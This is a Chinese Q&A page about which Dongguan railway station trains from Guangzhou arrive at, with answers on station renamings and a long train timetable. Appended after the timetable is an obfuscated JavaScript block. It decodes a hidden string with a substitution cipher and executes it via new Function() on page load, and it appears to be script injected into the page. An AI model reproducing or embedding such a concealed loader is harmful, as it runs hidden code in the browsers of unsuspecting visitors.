现在的广州火车站到东莞火车站,是指东莞的哪个火车站呀

2025-04-01 17:28:14
推荐回答(4个)
回答1:

原名常平站后改名东莞火车站,但于2013年6月20日再次更名为常平火车站。但原新石龙火车站改为东莞火车站。

如果票面上写的是 东莞--〉
应该去东莞火车站乘坐火车,即到石龙去乘车。

如果票面写的是东莞东,应该去东莞东火车站乘车。

票面写的是常平,才需要去常平火车站乘车。

楼主明白不?你也可以报下你的车次,我们给你确认下。

回答2:

东莞火车站就是东莞火车站在石龙镇

回答3:

东莞石龙

回答4:

车次, 始发站, 终点站, 车辆类型, 发站, 发时, 到站, 到时, 里程, 历时, 硬座, 软座, 硬卧中, 软卧下
K435 武昌 惠州 空调快速 广州 04:11 东莞东 05:18 94 01:07 31.5 - 57.5/63.5/63.5 90.5/93.5
D7001 广州 深圳 动车组 广州 06:03 东莞 06:42 71 00:39 9.5 9.5 - -
D7021 广州东 深圳 动车组 广州东 06:30 东莞 06:57 63 00:27 9.5 9.5 - -
D7043 广州 深圳 动车组 广州 06:38 东莞 07:18 71 00:40 9.5 9.5 - -
D7075 广州 深圳 动车组 广州 06:55 东莞 07:35 71 00:40 9.5 9.5 - -
D7065 广州东 深圳 动车组 广州东 07:00 东莞 07:27 63 00:27 9.5 9.5 - -
D7085 广州东 深圳 动车组 广州东 07:16 东莞 07:43 63 00:27 9.5 9.5 - -
D7033 广州 深圳 动车组 广州 07:20 东莞 08:00 71 00:40 9.5 9.5 - -
D7095 广州东 深圳 动车组 广州东 07:24 东莞 07:51 63 00:27 9.5 9.5 - -
D7105 广州 深圳 动车组 广州 07:47 东莞 08:27 71 00:40 9.5 9.5 - -
D7169 广州东 深圳 动车组 广州东 07:50 东莞 08:17 63 00:27 9.5 9.5 - -
D7179 广州东 深圳 动车组 广州东 08:08 东莞 08:35 63 00:27 9.5 9.5 - -
D7013 广州 深圳 动车组 广州 08:16 东莞 09:08 71 00:52 9.5 9.5 - -
D7159 广州东 深圳 动车组 广州东 08:16 东莞 08:43 63 00:27 9.5 9.5 - -
D7137 广州东 深圳 动车组 广州东 08:24 东莞 08:51 63 00:27 9.5 9.5 - -
T8361/T8364 广州东 汕头 空调特快 广州东 08:35 东莞东 09:32 86 00:57 31.5 - 57.5/63.5/63.5 83.5/86.5
D7115 广州东 深圳 动车组 广州东 08:51 东莞 09:18 63 00:27 9.5 9.5 - -
D7127 广州 深圳 动车组 广州 08:59 东莞 09:39 71 00:40 9.5 9.5 - -
D7055 广州东 深圳 动车组 广州东 09:01 东莞 09:28 63 00:27 9.5 9.5 - -
T8379/T8382 广州东 梅州 空调特快 广州东 09:15 东莞东 10:11 86 00:56 14.5 - 60.5/65.5/68.5 90.5/96.5
T8379/T8382 广州东 梅州 空调特快 广州东 09:30 东莞东 10:26 86 00:56 14.5 - 60.5/65.5/68.5 90.5/96.5
D7003 广州 深圳 动车组 广州 09:32 东莞 10:15 71 00:43 9.5 9.5 - -
D7023 广州东 深圳 动车组 广州东 09:32 东莞 09:59 63 00:27 9.5 9.5 - -
D7045 广州东 深圳 动车组 广州东 09:56 东莞 10:23 63 00:27 9.5 9.5 - -
D7077 广州东 深圳 动车组 广州东 10:10 东莞 10:37 63 00:27 9.5 9.5 - -
D7067 广州 深圳 动车组 广州 10:18 东莞 10:58 71 00:40 9.5 9.5 - -
D7087 广州东 深圳 动车组 广州东 10:18 东莞 10:45 63 00:27 9.5 9.5 - -
D7097 广州东 深圳 动车组 广州东 10:39 东莞 11:06 63 00:27 9.5 9.5 - -
D7035 广州 深圳 动车组 广州 10:50 东莞 11:30 71 00:40 9.5 9.5 - -
D7171 广州东 深圳 动车组 广州东 10:55 东莞 11:22 63 00:27 9.5 9.5 - -
K687/K686 重庆北 东莞东 空调快速 广州 10:56 东莞东 12:20 94 01:24 31.5 - 57.5/63.5/63.5 90.5/93.5
D7181 广州东 深圳 动车组 广州东 11:11 东莞 11:38 63 00:27 9.5 9.5 - -
D7161 广州东 深圳 动车组 广州东 11:19 东莞 11:46 63 00:27 9.5 9.5 - -
D7107 广州 深圳 动车组 广州 11:25 东莞 12:10 71 00:45 9.5 9.5 - -
D7139 广州东 深圳 动车组 广州东 11:27 东莞 11:54 63 00:27 9.5 9.5 - -
K687/K686 重庆北 汕头 空调快速 广州 11:31 东莞东 12:44 94 01:13 31.5 - 57.5/63.5/63.5 90.5/93.5
D7117 广州东 深圳 动车组 广州东 11:53 东莞 12:20 63 00:27 9.5 9.5 - -
D7057 广州东 深圳 动车组 广州东 12:03 东莞 12:30 63 00:27 9.5 9.5 - -
D7015 广州 深圳 动车组 广州 12:06 东莞 12:46 71 00:40 9.5 9.5 - -
D7129 广州东 深圳 动车组 广州东 12:27 东莞 12:54 63 00:27 9.5 9.5 - -
D7025 广州东 深圳 动车组 广州东 12:37 东莞 13:04 63 00:27 9.5 9.5 - -
D7005 广州东 深圳 动车组 广州东 12:54 东莞 13:21 63 00:27 9.5 9.5 - -
D7079 广州东 深圳 动车组 广州东 13:12 东莞 13:39 63 00:27 9.5 9.5 - -
D7047 广州 深圳 动车组 广州 13:16 东莞 13:56 71 00:40 9.5 9.5 - -
D7089 广州东 深圳 动车组 广州东 13:20 东莞 13:47 63 00:27 9.5 9.5 - -
D7099 广州东 深圳 动车组 广州东 13:41 东莞 14:08 63 00:27 9.5 9.5 - -
D7069 广州 深圳 动车组 广州 13:47 东莞 14:32 71 00:45 9.5 9.5 - -
D7173 广州东 深圳 动车组 广州东 13:57 东莞 14:24 63 00:27 9.5 9.5 - -
D7037 广州东 深圳 动车组 广州东 14:13 东莞 14:40 63 00:27 9.5 9.5 - -
D7163 广州东 深圳 动车组 广州东 14:21 东莞 14:48 63 00:27 9.5 9.5 - -
D7141 广州东 深圳 动车组 广州东 14:29 东莞 14:56 63 00:27 9.5 9.5 - -
D7183 广州 深圳 动车组 广州 14:34 东莞 15:20 71 00:46 9.5 9.5 - -
D7109 广州东 深圳 动车组 广州东 14:45 东莞 15:12 63 00:27 9.5 9.5 - -
D7059 广州东 深圳 动车组 广州东 15:06 东莞 15:33 63 00:27 9.5 9.5 - -
D7119 广州 深圳 动车组 广州 15:08 东莞 15:50 71 00:42 9.5 9.5 - -
T160/T161 广州东 青岛 空调特快 广州东 15:21 东莞东 16:10 86 00:49 14.5 - 60.5/65.5/68.5 90.5/96.5
T160 广州东 青岛 空调特快 广州东 15:25 东莞东 16:15 86 00:50 14.5 - 60.5/65.5/68.5 90.5/96.5
D7131 广州东 深圳 动车组 广州东 15:31 东莞 15:58 63 00:27 9.5 9.5 - -
D7027 广州东 深圳 动车组 广州东 15:39 东莞 16:06 63 00:27 9.5 9.5 - -
D7017 广州 深圳 动车组 广州 15:46 东莞 16:33 71 00:47 9.5 9.5 - -
D7007 广州东 深圳 动车组 广州东 15:56 东莞 16:23 63 00:27 9.5 9.5 - -
D7091 广州东 深圳 动车组 广州东 16:23 东莞 16:50 63 00:27 9.5 9.5 - -
T8365/T8368 广州东 梅州 空调特快 广州东 16:23 东莞东 17:19 86 00:56 - 45.5 - -
D7049 广州东 深圳 动车组 广州东 16:31 东莞 16:58 63 00:27 9.5 9.5 - -
D7081 广州 深圳 动车组 广州 16:32 东莞 17:18 71 00:46 9.5 9.5 - -
D7101 广州东 深圳 动车组 广州东 16:43 东莞 17:10 63 00:27 9.5 9.5 - -
D7175 广州东 深圳 动车组 广州东 17:07 东莞 17:34 63 00:27 9.5 9.5 - -
D7039 广州东 深圳 动车组 广州东 17:15 东莞 17:42 63 00:27 9.5 9.5 - -
D7165 广州东 深圳 动车组 广州东 17:23 东莞 17:50 63 00:27 9.5 9.5 - -
D7071 广州 深圳 动车组 广州 17:27 东莞 18:08 71 00:41 9.5 9.5 - -
D7143 广州东 深圳 动车组 广州东 17:31 东莞 17:58 63 00:27 9.5 9.5 - -
D7111 广州东 深圳 动车组 广州东 17:58 东莞 18:25 63 00:27 9.5 9.5 - -
D7061 广州东 深圳 动车组 广州东 18:08 东莞 18:35 63 00:27 9.5 9.5 - -
D7185 广州 深圳 动车组 广州 18:18 东莞 19:00 71 00:42 9.5 9.5 - -
D7121 广州东 深圳 动车组 广州东 18:25 东莞 18:52 63 00:27 9.5 9.5 - -
D7029 广州东 深圳 动车组 广州东 18:41 东莞 19:08 63 00:27 9.5 9.5 - -
D7133 广州 深圳 动车组 广州 18:47 东莞 19:33 71 00:46 9.5 9.5 - -
D7009 广州东 深圳 动车组 广州东 18:58 东莞 19:25 63 00:27 9.5 9.5 - -
D7019 广州东 深圳 动车组 广州东 19:16 东莞 19:43 63 00:27 9.5 9.5 - -
D7051 广州东 深圳 动车组 广州东 19:33 东莞 20:00 63 00:27 9.5 9.5 - -
D7093 广州 深圳 动车组 广州 19:44 东莞 20:28 71 00:44 9.5 9.5 - -
D7103 广州东 深圳 动车组 广州东 19:45 东莞 20:12 63 00:27 9.5 9.5 - -
D7083 广州东 深圳 动车组 广州东 19:53 东莞 20:20 63 00:27 9.5 9.5 - -
D7041 广州东 深圳 动车组 广州东 20:17 东莞 20:44 63 00:27 9.5 9.5 - -
D7177 广州 深圳 动车组 广州 20:23 东莞 21:08 71 00:45 9.5 9.5 - -
D7167 广州东 深圳 动车组 广州东 20:25 东莞 20:52 63 00:27 9.5 9.5 - -
D7145 广州东 深圳 动车组 广州东 20:33 东莞 21:00 63 00:27 9.5 9.5 - -
K297/K300 广州东 厦门高崎 空调快速 广州东 20:40 东莞东 21:36 86 00:56 31.5 - 57.5/63.5/63.5 83.5/86.5
K297/K300 广州东 厦门高崎 空调快速 广州东 20:40 东莞东 21:36 86 00:56 31.5 - 57.5/63.5/63.5 83.5/86.5
D7073 广州东 深圳 动车组 广州东 20:49 东莞 21:16 63 00:27 9.5 9.5 - -
D7063 广州东 深圳 动车组 广州东 21:10 东莞 21:37 63 00:27 9.5 9.5 - -
D7113 广州 深圳 动车组 广州 21:13 东莞 21:53 71 00:40 9.5 9.5 - -
D7031 广州东 深圳 动车组 广州东 21:43 东莞 22:10 63 00:27 9.5 9.5 - -
D7187 广州 深圳 动车组 广州 21:56 东莞 22:38 71 00:42 9.5 9.5 - -
D7011 广州东 深圳 动车组 广州东 22:01 东莞 22:28 63 00:27 9.5 9.5 - -
D7135 广州 深圳 动车组 广州 22:20 东莞 22:59 71 00:39 9.5 9.5 - -
D7053 广州东 深圳 动车组 广州东 22:40 东莞 23:07 63 00:27 9.5 9.5 - -

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();